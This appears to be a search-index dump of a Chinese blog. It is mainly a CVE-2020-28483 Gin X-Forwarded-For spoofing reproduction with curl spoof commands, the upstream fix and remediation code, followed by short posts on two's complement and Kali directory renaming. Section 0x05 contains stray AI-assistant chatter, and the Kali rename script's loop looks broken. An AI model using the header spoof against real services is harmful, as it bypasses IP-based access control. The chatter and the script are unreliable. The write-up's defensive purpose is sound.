绕过访问控制","uri":"/posts/2026/cve-2020-28483-gin-xff/#完整源码流程追踪"},{"categories":["security"],"collections":null,"content":"关键变量分析 c.engine.ForwardedByClientIP // engine.go 中的定义 type Engine struct { // ... ForwardedByClientIP bool // 默认值是什么？ // ... } // 初始化代码（engine.go） func New() *Engine { engine := \u0026amp;Engine{ // ... ForwardedByClientIP: true, // \u0026lt;- 默认开启！ // ... } return engine } 问题：即使你没有显式配置，ForwardedByClientIP 也默认为 true，导致所有请求都会尝试读 XFF。 ","date":"2026-03-06","objectID":"/posts/2026/cve-2020-28483-gin-xff/:5:2","tags":[],"title":"漏洞复现 CVE-2020-28483：Gin 框架 XFF 伪造 IP 绕过访问控制","uri":"/posts/2026/cve-2020-28483-gin-xff/#关键变量分析"},{"categories":["security"],"collections":null,"content":"requestHeader() 方法 // context.go 中的实现 func (c *Context) requestHeader(key string) string { return c.Request.Header.Get(key) } 这个方法做了什么： 直接调用 http.Request.Header.Get(key) 返回 HTTP 头的值 零验证，零过滤 攻击者可以设置任意值： curl http://target:8080/admin \\ -H \u0026#34;X-Forwarded-For: 127.0.0.1\u0026#34; \\ -H \u0026#34;X-Real-Ip: 192.168.1.1\u0026#34; \\ -H \u0026#34;X-Appengine-Remote-Addr: 10.0.0.1\u0026#34; gin 会按优先级依次尝试，取第一个非空的值。 ","date":"2026-03-06","objectID":"/posts/2026/cve-2020-28483-gin-xff/:5:3","tags":[],"title":"漏洞复现 CVE-2020-28483：Gin 框架 XFF 伪造 IP 绕过访问控制","uri":"/posts/2026/cve-2020-28483-gin-xff/#requestheader-方法"},{"categories":["security"],"collections":null,"content":"strings.Split() 的陷阱 // Line 734 的操作 clientIP := strings.Split(clientIP, \u0026#34;,\u0026#34;)[0] 这行代码的问题： 输入: \u0026#34;127.0.0.1, 10.0.0.1, 172.16.0.1\u0026#34; strings.Split(\u0026#34;,\u0026#34;) 结果: [0] = \u0026#34;127.0.0.1\u0026#34; [1] = \u0026#34; 10.0.0.1\u0026#34; \u0026lt;- 注意前面有空格 [2] = \u0026#34; 172.16.0.1\u0026#34; [0] 被返回: \u0026#34;127.0.0.1\u0026#34; Line 734 之后有 TrimSpace，但只作用于最终结果 实际上 \u0026#34;127.0.0.1\u0026#34; 已经被取出来了 攻击者可以利用这一点： # 多级链伪造 curl http://target:8080/admin \\ -H \u0026#34;X-Forwarded-For: 127.0.0.1, 10.0.0.1, 172.16.0.1\u0026#34; # gin 取第一个 \u0026#34;127.0.0.1\u0026#34; -\u0026gt; 成功伪造 ","date":"2026-03-06","objectID":"/posts/2026/cve-2020-28483-gin-xff/:5:4","tags":[],"title":"漏洞复现 CVE-2020-28483：Gin 框架 XFF 伪造 IP 绕过访问控制","uri":"/posts/2026/cve-2020-28483-gin-xff/#stringssplit-的陷阱"},{"categories":["security"],"collections":null,"content":"Request.RemoteAddr 的真实性 // Line 749 的操作 if ip, _, err := net.SplitHostPort( strings.TrimSpace(c.Request.RemoteAddr)); err == nil { return ip } RemoteAddr 来自哪里： HTTP 服务器接收连接时： 1. TCP 三次握手完成 2. OS 内核记录连接的源 IP 和源端口 3. Go 的 net 包读取这个信息 4. 存储在 http.Request.RemoteAddr 中 示例值: \u0026#34;[::1]:51052\u0026#34; | | | | | +-- 源端口（攻击者无法控制） | +--------- 源 IP（来自 TCP 层，无法伪造） +-------------- IPv6 格式 为什么无法伪造： 攻击者无法改变自己的源 IP（除非控制网络基础设施） 即使攻击者尝试伪造源 IP，操作系统会验证 TCP 三次握手 伪造的包会被丢弃，连接无法建立 ","date":"2026-03-06","objectID":"/posts/2026/cve-2020-28483-gin-xff/:5:5","tags":[],"title":"漏洞复现 CVE-2020-28483：Gin 框架 XFF 伪造 IP 绕过访问控制","uri":"/posts/2026/cve-2020-28483-gin-xff/#requestremoteaddr-的真实性"},{"categories":["security"],"collections":null,"content":"漏洞修复对比（v1.7.0+） 来源: https://github.com/gin-gonic/gin/pull/2474/changes // ClientIP implements a best effort algorithm to return the real client IP, it parses // X-Real-IP and X-Forwarded-For in order to work properly with reverse-proxies such us: nginx or haproxy. // Use X-Forwarded-For before X-Real-Ip as nginx uses X-Real-Ip with the proxy\u0026#39;s IP. func (c *Context) ClientIP() string { if c.engine.ForwardedByClientIP \u0026amp;\u0026amp; c.engine.RemoteIPHeaders != nil { for _, header := range c.engine.RemoteIPHeaders { ipChain := filterIPsFromUntrustedProxies(c.requestHeader(header), c.Request, c.engine) if len(ipChain) \u0026gt; 0 { return ipChain[0] } } } if c.engine.AppEngine { if addr := c.requestHeader(\u0026#34;X-Appengine-Remote-Addr\u0026#34;); addr != \u0026#34;\u0026#34; { return addr } } ip, _ := getTransportPeerIPForRequest(c.Request) return ip } func filterIPsFromUntrustedProxies(XForwardedForHeader string, req *http.Request, e *Engine) []string { var items, out []string if XForwardedForHeader != \u0026#34;\u0026#34; { items = strings.Split(XForwardedForHeader, \u0026#34;,\u0026#34;) } else { return []string{} } if peerIP, err := getTransportPeerIPForRequest(req); err == nil { items = append(items, peerIP) } for i := len(items) - 1; i \u0026gt;= 0; i-- { item := strings.TrimSpace(items[i]) ip := net.ParseIP(item) if ip == nil { return out } out = prependString(ip.String(), out) if !isTrustedProxy(ip, e) { return out } // out = prependString(ip.String(), out) } return out } func isTrustedProxy(ip net.IP, e *Engine) bool { for _, trustedProxy := range e.TrustedProxies { if _, ipnet, err := net.ParseCIDR(trustedProxy); err == nil { if ipnet.Contains(ip) { return true } continue } if proxyIP := net.ParseIP(trustedProxy); proxyIP != nil { if proxyIP.Equal(ip) { return true } continue } if addrs, err := e.lookupHost(trustedProxy); err == nil { for _, proxyAddr := range addrs { proxyIP := net.ParseIP(proxyAddr) if proxyIP == nil { continue } if proxyIP.Equal(ip) { return true } } } } return false } func prependString(ip string, ipList []string) []string { ipList = append(ipList, \u0026#34;\u0026#34;) copy(ipList[1:], ipList) ipList[0] = string(ip) return ipList } func getTransportPeerIPForRequest(req *http.Request) (string, error) { var err error if ip, _, err := net.SplitHostPort(strings.TrimSpace(req.RemoteAddr)); err == nil { return ip, nil } return \u0026#34;\u0026#34;, err } 修复的关键差异： v1.6.3 (漏洞版): XFF 头 -\u0026gt; 直接取第一个值 -\u0026gt; 返回 完全没有验证这个请求是否来自可信代理 v1.7.0 (修复版): XFF 头 -\u0026gt; 从右往左遍历 -\u0026gt; 检查每个 IP 是否在 TrustedProxies 中 -\u0026gt; 遇到不可信 IP 停止 -\u0026gt; 返回停止点之后的 IP 本质：从 TCP 层已知的真实对端 IP 往左回溯， 只要链路中出现不可信节点就停，不再往左信任 修复后的效果： 场景：gin 直接暴露公网，TrustedProxies = nil 攻击者请��: X-Forwarded-For: 127.0.0.1 items = [\u0026#34;127.0.0.1\u0026#34;, \u0026#34;5.6.7.8(真实TCP)\u0026#34;] 从右往左遍历: i=1: \u0026#34;5.6.7.8\u0026#34; -\u0026gt; isTrustedProxy(\u0026#34;5.6.7.8\u0026#34;) -\u0026gt; false (TrustedProxies 为空) -\u0026gt; 停止，返回 [\u0026#34;5.6.7.8\u0026#34;] ClientIP() = \u0026#34;5.6.7.8\u0026#34; \u0026lt;- 返回真实 IP，攻击失败 ","date":"2026-03-06","objectID":"/posts/2026/cve-2020-28483-gin-xff/:5:6","tags":[],"title":"漏洞复现 CVE-2020-28483：Gin 框架 XFF 伪造 IP 绕过访问控制","uri":"/posts/2026/cve-2020-28483-gin-xff/#漏洞修复对比v170"},{"categories":["security"],"collections":null,"content":"源码对比总结 版本 关键行 逻辑 安全性 v1.6.3 L733-739 直接读 XFF，无验证 [FAIL] v1.7.0+ filterIPsFromUntrustedProxies 从 TCP IP 往左回溯，遇不可信 IP 停止 [OK] ","date":"2026-03-06","objectID":"/posts/2026/cve-2020-28483-gin-xff/:5:7","tags":[],"title":"漏洞复现 CVE-2020-28483：Gin 框架 XFF 伪造 IP 绕过访问控制","uri":"/posts/2026/cve-2020-28483-gin-xff/#源码对比总结"},{"categories":["security"],"collections":null,"content":"0x05 修复方案 你说得对，我需要查证 gin v1.7.0 的实际 API。让我重新编写 0x05 修复方案。 让我查找 Engine 结构体的定义： 让我查找 ForwardedByClientIP 的定义： 现在我明白了。这份源码中有 TrustedProxies 字段，说明这已经是修复版本。让我重新编写 0x05，基于实际的修复方式： ","date":"2026-03-06","objectID":"/posts/2026/cve-2020-28483-gin-xff/:0:0","tags":[],"title":"漏洞复现 CVE-2020-28483：Gin 框架 XFF 伪造 IP 绕过访问控制","uri":"/posts/2026/cve-2020-28483-gin-xff/#0x05-修复方案"},{"categories":["security"],"collections":null,"content":"0x05 修复方案 ","date":"2026-03-06","objectID":"/posts/2026/cve-2020-28483-gin-xff/:1:0","tags":[],"title":"漏洞复现 CVE-2020-28483：Gin 框架 XFF 伪造 IP 绕过访问控制","uri":"/posts/2026/cve-2020-28483-gin-xff/#0x05-修复方案-1"},{"categories":["security"],"collections":null,"content":"5.1 方案 1：升级 gin + 配置 TrustedProxies（生产推荐） Step 1: 升级 gin 到修复版本 # 查看当前版本 go list -m github.com/gin-gonic/gin # 升级到最新版本（包含修复） go get -u github.com/gin-gonic/gin Step 2: 在 main.go 中配置 TrustedProxies 修复版本的 gin 在 Engine 结构体中增加了 TrustedProxies 字段，需要在初始化时配置： package main import ( \u0026#34;net/http\u0026#34; \u0026#34;github.com/gin-gonic/gin\u0026#34; ) func main() { r := gin.Default() // 配置可信代理列表 // 只有来自这些 IP/网段的代理转发的 XFF 才被采信 r.TrustedProxies = []string{ \u0026#34;10.0.0.0/8\u0026#34;, // 内网 A 类 \u0026#34;172.16.0.0/12\u0026#34;, // 内网 B 类 \u0026#34;192.168.0.0/16\u0026#34;, // 内网 C 类 \u0026#34;127.0.0.1\u0026#34;, // 本地代理 } r.GET(\u0026#34;/admin\u0026#34;, func(ctx *gin.Context) { clientIP := ctx.ClientIP() if clientIP == \u0026#34;127.0.0.1\u0026#34; { ctx.JSON(http.StatusOK, gin.H{ \u0026#34;message\u0026#34;: \u0026#34;Welcome, tructed admin!\u0026#34;, \u0026#34;client_ip\u0026#34;: clientIP, \u0026#34;secret\u0026#34;: \u0026#34;FLAG{CVE-2020-28483}\u0026#34;, }) } else { ctx.JSON(http.StatusForbidden, gin.H{ \u0026#34;message\u0026#34;: \u0026#34;Access Denied\u0026#34;, \u0026#34;client_ip\u0026#34;: clientIP, }) } }) r.GET(\u0026#34;/whoami\u0026#34;, func(ctx *gin.Context) { ctx.JSON(http.StatusOK, gin.H{ \u0026#34;your_ip\u0026#34;: ctx.ClientIP(), \u0026#34;xff\u0026#34;: ctx.GetHeader(\u0026#34;X-Forwarded-For\u0026#34;), \u0026#34;remote\u0026#34;: ctx.Request.RemoteAddr, }) }) r.Run(\u0026#34;:8080\u0026#34;) } Step 3: 更新依赖 go mod tidy go run main.go Step 4: 验证修复效果 # 升级后，攻击失败 curl -s http://localhost:8080/admin \\ -H \u0026#34;X-Forwarded-For: 127.0.0.1\u0026#34; | python3 -m json.tool 攻击者伪造的 XFF 被忽略，返回真实 TCP IP ::1 ","date":"2026-03-06","objectID":"/posts/2026/cve-2020-28483-gin-xff/:1:1","tags":[],"title":"漏洞复现 CVE-2020-28483：Gin 框架 XFF 伪造 IP 绕过访问控制","uri":"/posts/2026/cve-2020-28483-gin-xff/#51-方案-1升级-gin--配置-trustedproxies生产推荐"},{"categories":["security"],"collections":null,"content":"5.2 方案 2：禁用 ForwardedByClientIP（完全不信任 XFF） 适用场景： gin 直接绑定 0.0.0.0:8080，无任何代理 不需要识别客户端真实 IP 修改代码： package main import ( \u0026#34;net/http\u0026#34; \u0026#34;github.com/gin-gonic/gin\u0026#34; ) func main() { r := gin.Default() // 关键：禁用 ForwardedByClientIP // 此时 ctx.ClientIP() 将直接返回 TCP RemoteAddr，忽略所有 XFF 相关头 r.ForwardedByClientIP = false r.GET(\u0026#34;/admin\u0026#34;, func(ctx *gin.Context) { clientIP := ctx.ClientIP() if clientIP == \u0026#34;127.0.0.1\u0026#34; { ctx.JSON(http.StatusOK, gin.H{ \u0026#34;message\u0026#34;: \u0026#34;Welcome, tructed admin!\u0026#34;, \u0026#34;client_ip\u0026#34;: clientIP, \u0026#34;secret\u0026#34;: \u0026#34;FLAG{CVE-2020-28483}\u0026#34;, }) } else { ctx.JSON(http.StatusForbidden, gin.H{ \u0026#34;message\u0026#34;: \u0026#34;Access Denied\u0026#34;, \u0026#34;client_ip\u0026#34;: clientIP, }) } }) r.GET(\u0026#34;/whoami\u0026#34;, func(ctx *gin.Context) { ctx.JSON(http.StatusOK, gin.H{ \u0026#34;your_ip\u0026#34;: ctx.ClientIP(), \u0026#34;xff\u0026#34;: ctx.GetHeader(\u0026#34;X-Forwarded-For\u0026#34;), \u0026#34;remote\u0026#34;: ctx.Request.RemoteAddr, }) }) r.Run(\u0026#34;:8080\u0026#34;) } 验证修复效果： # 即使伪造 XFF，也被忽略 curl -s http://localhost:8080/whoami \\ -H \u0026#34;X-Forwarded-For: 8.8.8.8\u0026#34; | python3 -m json.tool your_ip 返回真实 TCP IP，XFF 头被完全忽略 ","date":"2026-03-06","objectID":"/posts/2026/cve-2020-28483-gin-xff/:1:2","tags":[],"title":"漏洞复现 CVE-2020-28483：Gin 框架 XFF 伪造 IP 绕过访问控制","uri":"/posts/2026/cve-2020-28483-gin-xff/#52-方案-2禁用-forwardedbyclientip完全不信任-xff"},{"categories":["security"],"collections":null,"content":"5.3 方案 3：不依赖 ClientIP()，自行解析 TCP 地址 适用场景： 需要完全控制 IP 识别逻辑 不想依赖 gin 的 ClientIP() 方法 创建工具函数： package main import ( \u0026#34;net\u0026#34; \u0026#34;strings\u0026#34; \u0026#34;github.com/gin-gonic/gin\u0026#34; ) // getRealIP 从 TCP 层获取真实 IP，无法伪造 func getRealIP(c *gin.Context) string { // 从 RemoteAddr 直接解析（最安全） ip, _, err := net.SplitHostPort(strings.TrimSpace(c.Request.RemoteAddr)) if err == nil { return ip } // 兜底，直接返回 RemoteAddr return c.Request.RemoteAddr } 在 Handler 中使用： func main() { r := gin.Default() r.GET(\u0026#34;/admin\u0026#34;, func(ctx *gin.Context) { // 使用自定义函数获取真实 IP clientIP := getRealIP(ctx) if clientIP == \u0026#34;127.0.0.1\u0026#34; { ctx.JSON(http.StatusOK, gin.H{ \u0026#34;message\u0026#34;: \u0026#34;Welcome, tructed admin!\u0026#34;, \u0026#34;client_ip\u0026#34;: clientIP, \u0026#34;secret\u0026#34;: \u0026#34;FLAG{CVE-2020-28483}\u0026#34;, }) } else { ctx.JSON(http.StatusForbidden, gin.H{ \u0026#34;message\u0026#34;: \u0026#34;Access Denied\u0026#34;, \u0026#34;client_ip\u0026#34;: clientIP, }) } }) r.GET(\u0026#34;/whoami\u0026#34;, func(ctx *gin.Context) { ctx.JSON(http.StatusOK, gin.H{ \u0026#34;your_ip\u0026#34;: getRealIP(ctx), \u0026#34;xff\u0026#34;: ctx.GetHeader(\u0026#34;X-Forwarded-For\u0026#34;), \u0026#34;remote\u0026#34;: ctx.Request.RemoteAddr, }) }) r.Run(\u0026#34;:8080\u0026#34;) } 验证修复效果： curl -s http://localhost:8080/whoami \\ -H \u0026#34;X-Forwarded-For: 8.8.8.8\u0026#34; | python3 -m json.tool 即使伪造 XFF，your_ip 仍然返回真实 TCP IP ","date":"2026-03-06","objectID":"/posts/2026/cve-2020-28483-gin-xff/:1:3","tags":[],"title":"漏洞复现 CVE-2020-28483：Gin 框架 XFF 伪造 IP 绕过访问控制","uri":"/posts/2026/cve-2020-28483-gin-xff/#53-方案-3不依赖-clientip自行解析-tcp-地址"},{"categories":["security"],"collections":null,"content":"5.4 三种方案对比 方案 升级成本 代理支持 安全性 适用场景 A: 升级 + TrustedProxies 中 支持 [OK] 有代理的生产环境 B: ForwardedByClientIP = false 低 不支持 [OK] gin 直接暴露公网 C: 自定义 getRealIP() 高 自定义 [OK] 需要完全控制逻辑 ","date":"2026-03-06","objectID":"/posts/2026/cve-2020-28483-gin-xff/:1:4","tags":[],"title":"漏洞复现 CVE-2020-28483：Gin 框架 XFF 伪造 IP 绕过访问控制","uri":"/posts/2026/cve-2020-28483-gin-xff/#54-三种方案对比"},{"categories":["security"],"collections":null,"content":"5.5 方案选择指南 你的部署架构是什么？ ┌─ 有反向代理（Nginx/LB） │ └─\u0026gt; 使用方案 A │ r.TrustedProxies = []string{\u0026#34;代理IP或网段\u0026#34;} │ ├─ gin 直接暴露公网，无代理 │ └─\u0026gt; 使用方案 B │ r.ForwardedByClientIP = false │ └─ 需要自定义 IP 识别逻辑 └─\u0026gt; 使用方案 C 自定义 getRealIP() 函数 ","date":"2026-03-06","objectID":"/posts/2026/cve-2020-28483-gin-xff/:1:5","tags":[],"title":"漏洞复现 CVE-2020-28483：Gin 框架 XFF 伪造 IP 绕过访问控制","uri":"/posts/2026/cve-2020-28483-gin-xff/#55-方案选择指南"},{"categories":["security"],"collections":null,"content":"5.6 验证修复是否生效 测试脚本： #!/bin/bash echo \u0026#34;[*] 测试修复效果\u0026#34; echo \u0026#34;\u0026#34; echo \u0026#34;[1] 正常请求（无伪造）\u0026#34; curl -s http://localhost:8080/whoami | python3 -m json.tool echo \u0026#34;\u0026#34; echo \u0026#34;[2] 伪造 X-Forwarded-For: 8.8.8.8\u0026#34; curl -s http://localhost:8080/whoami \\ -H \u0026#34;X-Forwarded-For: 8.8.8.8\u0026#34; | python3 -m json.tool echo \u0026#34;\u0026#34; echo \u0026#34;[3] 伪造多级链\u0026#34; curl -s http://localhost:8080/whoami \\ -H \u0026#34;X-Forwarded-For: 127.0.0.1, 10.0.0.1, 172.16.0.1\u0026#34; | python3 -m json.tool echo \u0026#34;\u0026#34; echo \u0026#34;[4] 尝试访问 /admin（应该被拒绝）\u0026#34; curl -s http://localhost:8080/admin \\ -H \u0026#34;X-Forwarded-For: 127.0.0.1\u0026#34; | python3 -m json.tool echo \u0026#34;\u0026#34; echo \u0026#34;[*] 如果所有伪造都被忽略，修复成功\u0026#34; 预期输出（修复后）： [*] 测试修复效果 [1] 正常请求（无伪造） { \u0026#34;remote\u0026#34;: \u0026#34;[::1]:51052\u0026#34;, \u0026#34;xff\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;your_ip\u0026#34;: \u0026#34;::1\u0026#34; } [2] 伪造 X-Forwarded-For: 8.8.8.8 { \u0026#34;remote\u0026#34;: \u0026#34;[::1]:51052\u0026#34;, \u0026#34;xff\u0026#34;: \u0026#34;8.8.8.8\u0026#34;, \u0026#34;your_ip\u0026#34;: \u0026#34;::1\u0026#34; } [3] 伪造多级链 { \u0026#34;remote\u0026#34;: \u0026#34;[::1]:51052\u0026#34;, \u0026#34;xff\u0026#34;: \u0026#34;127.0.0.1, 10.0.0.1, 172.16.0.1\u0026#34;, \u0026#34;your_ip\u0026#34;: \u0026#34;::1\u0026#34; } [4] 尝试访问 /admin（应该被拒绝） { \u0026#34;client_ip\u0026#34;: \u0026#34;::1\u0026#34;, \u0026#34;message\u0026#34;: \u0026#34;Access Denied\u0026#34; } [*] 如果所有伪造都被忽略，修复成功 所有伪造的 XFF 都被忽略，your_ip 始终返回真实 TCP IP ::1，修复成功 ","date":"2026-03-06","objectID":"/posts/2026/cve-2020-28483-gin-xff/:1:6","tags":[],"title":"漏洞复现 CVE-2020-28483：Gin 框架 XFF 伪造 IP 绕过访问控制","uri":"/posts/2026/cve-2020-28483-gin-xff/#56-验证修复是否生效"},{"categories":["security"],"collections":null,"content":"0x06 参考资料 NVD - CVE-2020-28483 gin-gonic/gin Issue #2862 GitHub Security Advisory - GHSA-h395-qcrw-5vmq 阿里云开发者 - Gin 框架 IP 识别漏洞分析 菜鸟教程 - HTTP X-Forwarded-For 详解 gin-gonic/gin Pull Request #4472 gin-gonic/gin Pull Request #2474 CWE-113: HTTP 头部中 CRLF 序列的不当处理（\u0026lsquo;HTTP 请求/响应拆分\u0026rsquo;） 封面 ","date":"2026-03-06","objectID":"/posts/2026/cve-2020-28483-gin-xff/:0:0","tags":[],"title":"漏洞复现 CVE-2020-28483：Gin 框架 XFF 伪造 IP 绕过访问控制","uri":"/posts/2026/cve-2020-28483-gin-xff/#0x06-参考资料"},{"categories":["ops"],"collections":null,"content":"原码、反码、补码","date":"2025-12-17","objectID":"/posts/2025/twos-complement/","tags":[],"title":"原码、反码、补码","uri":"/posts/2025/twos-complement/"},{"categories":["ops"],"collections":null,"content":"原码、反码、补码 ","date":"2025-12-17","objectID":"/posts/2025/twos-complement/:0:0","tags":[],"title":"原码、反码、补码","uri":"/posts/2025/twos-complement/#"},{"categories":["ops"],"collections":null,"content":"原码、反码、补码 封面： https://www.mylittlewallpaper.com/c/vocaloid/download/5381c1271f52d0.23342334 计算机使用二进制表示数值，但是二进制没有正反，那么如何使用二进制表示正反呢？ 原码、反码、补码就是解决这个问题的： 原码（Sign-Magnitude） 反码（Ones\u0026rsquo; Complement） 补码（Two\u0026rsquo;s Complement）← 现代计算机标准 ","date":"2025-12-17","objectID":"/posts/2025/twos-complement/:0:0","tags":[],"title":"原码、反码、补码","uri":"/posts/2025/twos-complement/#原码反码补码"},{"categories":["ops"],"collections":null,"content":"原码（Sign-Magnitude） ","date":"2025-12-17","objectID":"/posts/2025/twos-complement/:1:0","tags":[],"title":"原码、反码、补码","uri":"/posts/2025/twos-complement/#原码sign-magnitude"},{"categories":["ops"],"collections":null,"content":"表示方法： 最高位表示符号：0为正，1为负 其余位表示数值的绝对值 负数表示也就是：取出最左边的位（最高位）表示正反 ","date":"2025-12-17","objectID":"/posts/2025/twos-complement/:1:1","tags":[],"title":"原码、反码、补码","uri":"/posts/2025/twos-complement/#表示方法"},{"categories":["ops"],"collections":null,"content":"示例（4位）： +5：0101 -5：1101 ","date":"2025-12-17","objectID":"/posts/2025/twos-complement/:1:2","tags":[],"title":"原码、反码、补码","uri":"/posts/2025/twos-complement/#示例4位"},{"categories":["ops"],"collections":null,"content":"问题： 有+0和-0两种零：0000和1000 加减法电路复杂 ","date":"2025-12-17","objectID":"/posts/2025/twos-complement/:1:3","tags":[],"title":"原码、反码、补码","uri":"/posts/2025/twos-complement/#问题"},{"categories":["ops"],"collections":null,"content":"反码（Ones\u0026rsquo; Complement） ","date":"2025-12-17","objectID":"/posts/2025/twos-complement/:2:0","tags":[],"title":"原码、反码、补码","uri":"/posts/2025/twos-complement/#反码ones-complement"},{"categories":["ops"],"collections":null,"content":"表示方法： 正数：与原码相同 负数：将对应正数的所有位取反（0变1，1变0） 负数表示也就是：符号位不变，其余取反 ","date":"2025-12-17","objectID":"/posts/2025/twos-complement/:2:1","tags":[],"title":"原码、反码、补码","uri":"/posts/2025/twos-complement/#表示方法-1"},{"categories":["ops"],"collections":null,"content":"计算规则： 负数 = 按位取反(对应正数) ","date":"2025-12-17","objectID":"/posts/2025/twos-complement/:2:2","tags":[],"title":"原码、反码、补码","uri":"/posts/2025/twos-complement/#计算规则"},{"categories":["ops"],"collections":null,"content":"示例（4位）： +5：0101 -5：1010 （将0101的每一位取反） ","date":"2025-12-17","objectID":"/posts/2025/twos-complement/:2:3","tags":[],"title":"原码、反码、补码","uri":"/posts/2025/twos-complement/#示例4位-1"},{"categories":["ops"],"collections":null,"content":"验证：5 + (-5) = 0 0101 (+5) + 1010 (-5) ----------- 1111 （这是-0的反码表示） ","date":"2025-12-17","objectID":"/posts/2025/twos-complement/:2:4","tags":[],"title":"原码、反码、补码","uri":"/posts/2025/twos-complement/#验证5---5--0"},{"categories":["ops"],"collections":null,"content":"特点： 仍然有+0（0000）和-0（1111）的问题 加减法比原码简单，但仍有循环进位问题 ","date":"2025-12-17","objectID":"/posts/2025/twos-complement/:2:5","tags":[],"title":"原码、反码、补码","uri":"/posts/2025/twos-complement/#特点"},{"categories":["ops"],"collections":null,"content":"补码（Two\u0026rsquo;s Complement）← 现代标准 ","date":"2025-12-17","objectID":"/posts/2025/twos-complement/:3:0","tags":[],"title":"原码、反码、补码","uri":"/posts/2025/twos-complement/#补码twos-complement现代标准"},{"categories":["ops"],"collections":null,"content":"表示方法： 正数：与原码相同 负数：将对应正数的所有位取反后加1 负数表示也就是反码+1 ","date":"2025-12-17","objectID":"/posts/2025/twos-complement/:3:1","tags":[],"title":"原码、反码、补码","uri":"/posts/2025/twos-complement/#表示方法-2"},{"categories":["ops"],"collections":null,"content":"计算规则： 负数 = 按位取反(对应正数) + 1 ","date":"2025-12-17","objectID":"/posts/2025/twos-complement/:3:2","tags":[],"title":"原码、反码、补码","uri":"/posts/2025/twos-complement/#计算规则-1"},{"categories":["ops"],"collections":null,"content":"示例（4位）： +5：0101 -5：1011 （将0101取反得1010，再加1得1011） ","date":"2025-12-17","objectID":"/posts/2025/twos-complement/:3:3","tags":[],"title":"原码、反码、补码","uri":"/posts/2025/twos-complement/#示例4位-2"},{"categories":["ops"],"collections":null,"content":"验证：5 + (-5) = 0 0101 (+5) 正数不需要改变 + 1011 (-5) 负数使用补码 ----------- 10000 （4位系统中，最高位进位，被丢弃，只留4位） 0000 = 0 ✓ ","date":"2025-12-17","objectID":"/posts/2025/twos-complement/:3:4","tags":[],"title":"原码、反码、补码","uri":"/posts/2025/twos-complement/#验证5---5--0-1"},{"categories":["ops"],"collections":null,"content":"三种编码对比（4位系统） 十进制 原码 反码 补码 +7 0111 0111 0111 +6 0110 0110 0110 +5 0101 0101 0101 +4 0100 0100 0100 +3 0011 0011 0011 +2 0010 0010 0010 +1 0001 0001 0001 +0 0000 0000 0000 -0 1000 1111 无 -1 1001 1110 1111 -2 1010 1101 1110 -3 1011 1100 1101 -4 1100 1011 1100 -5 1101 1010 1011 -6 1110 1001 1010 -7 1111 1000 1001 -8 无 无 1000 ","date":"2025-12-17","objectID":"/posts/2025/twos-complement/:4:0","tags":[],"title":"原码、反码、补码","uri":"/posts/2025/twos-complement/#三种编码对比4位系统"},{"categories":["ops"],"collections":null,"content":"总结 特性 原码 反码 补码 零的表示 +0和-0 +0和-0 唯一0 加减法 复杂 较简单 统一简单 硬件需求 多 较少 最少 现代使用 基本不用 很少用 标准 补码是现代计算机表示有符号整数的标准，它解决了零的歧义问题，成为了最终的计算机负数计算的最终解决方案。 ","date":"2025-12-17","objectID":"/posts/2025/twos-complement/:5:0","tags":[],"title":"原码、反码、补码","uri":"/posts/2025/twos-complement/#总结"},{"categories":["ops"],"collections":null,"content":"home 保留英文~\n菜单保留中文~","date":"2025-12-11","objectID":"/posts/2025/kali-xdg-user-dirs/","tags":[],"title":"Kali 当前用户目录中英文修改","uri":"/posts/2025/kali-xdg-user-dirs/"},{"categories":["ops"],"collections":null,"content":"home 保留英文~ 菜单保留中文~ ","date":"2025-12-11","objectID":"/posts/2025/kali-xdg-user-dirs/:0:0","tags":[],"title":"Kali 当前用户目录中英文修改","uri":"/posts/2025/kali-xdg-user-dirs/#"},{"categories":["ops"],"collections":null,"content":"Kali 当前用户目录中英文修改 本篇文章由ai生成 Kali Linux 默认会为中文用户创建「桌面 / 下载 / 文档 …」等中文目录。 如果只想把 当前用户 的目录名换成英文，而 不动系统级语言，可以用 xdg-user-dirs 快速完成。 ","date":"2025-12-11","objectID":"/posts/2025/kali-xdg-user-dirs/:0:0","tags":[],"title":"Kali 当前用户目录中英文修改","uri":"/posts/2025/kali-xdg-user-dirs/#kali-当前用户目录中英文修改"},{"categories":["ops"],"collections":null,"content":"方式1 一键脚本（推荐） 把下面内容保存为 switch-home-dirs-en.sh，chmod +x 后执行即可。 #!/usr/bin/env bash set -e # 1. 让 xdg 以后都使用英文路径 xdg-user-dirs-update --set DESKTOP \u0026#34;$HOME/Desktop\u0026#34; xdg-user-dirs-update --set DOWNLOAD \u0026#34;$HOME/Downloads\u0026#34; xdg-user-dirs-update --set TEMPLATES \u0026#34;$HOME/Templates\u0026#34; xdg-user-dirs-update --set PUBLICSHARE \u0026#34;$HOME/Public\u0026#34; xdg-user-dirs-update --set DOCUMENTS \u0026#34;$HOME/Documents\u0026#34; xdg-user-dirs-update --set MUSIC \u0026#34;$HOME/Music\u0026#34; xdg-user-dirs-update --set PICTURES \u0026#34;$HOME/Pictures\u0026#34; xdg-user-dirs-update --set VIDEOS \u0026#34;$HOME/Videos\u0026#34; # 2. 如果已存在中文目录，则重命名 for src in 桌面 下载 模板 公共 文档 音乐 图片 视频; do [ -d \u0026#34;$HOME/$src\u0026#34; ] \u0026amp;\u0026amp; mv \u0026#34;$HOME/$src\u0026#34; \u0026#34;$HOME/$(xdg-user-dir \u0026#34;$(tr \u0026#39;[:lower:]\u0026#39; \u0026#39;[:upper:]\u0026#39; \u0026lt;\u0026lt;\u0026lt; \u0026#34;$src\u0026#34;)\u0026#34;)\u0026#34; done echo \u0026#34;✅ 完成！注销或重启会话后生效。\u0026#34; ","date":"2025-12-11","objectID":"/posts/2025/kali-xdg-user-dirs/:1:0","tags":[],"title":"Kali 当前用户目录中英文修改","uri":"/posts/2025/kali-xdg-user-dirs/#方式1-一键脚本推荐"},{"categories":["ops"],"collections":null,"content":"方式2 手动分步执行 终端逐条复制即可： # 设置英文路径记录 xdg-user-dirs-update --set DESKTOP ~/Desktop xdg-user-dirs-update --set DOWNLOAD ~/Downloads xdg-user-dirs-update --set TEMPLATES ~/Templates xdg-user-dirs-update --set PUBLICSHARE ~/Public xdg-user-dirs-update --set DOCUMENTS ~/Documents xdg-user-dirs-update --set MUSIC ~/Music xdg-user-dirs-update --set PICTURES ~/Pictures xdg-user-dirs-update --set VIDEOS ~/Videos # 重命名现有中文目录 mv ~/桌面 ~/Desktop 2\u0026gt;/dev/null mv ~/下载 ~/Downloads 2\u0026gt;/dev/null mv ~/模板 ~/Templates 2\u0026gt;/dev/null mv ~/公共 ~/Public 2\u0026gt;/dev/null mv ~/文档 ~/Documents 2\u0026gt;/dev/null mv ~/音乐 ~/Music 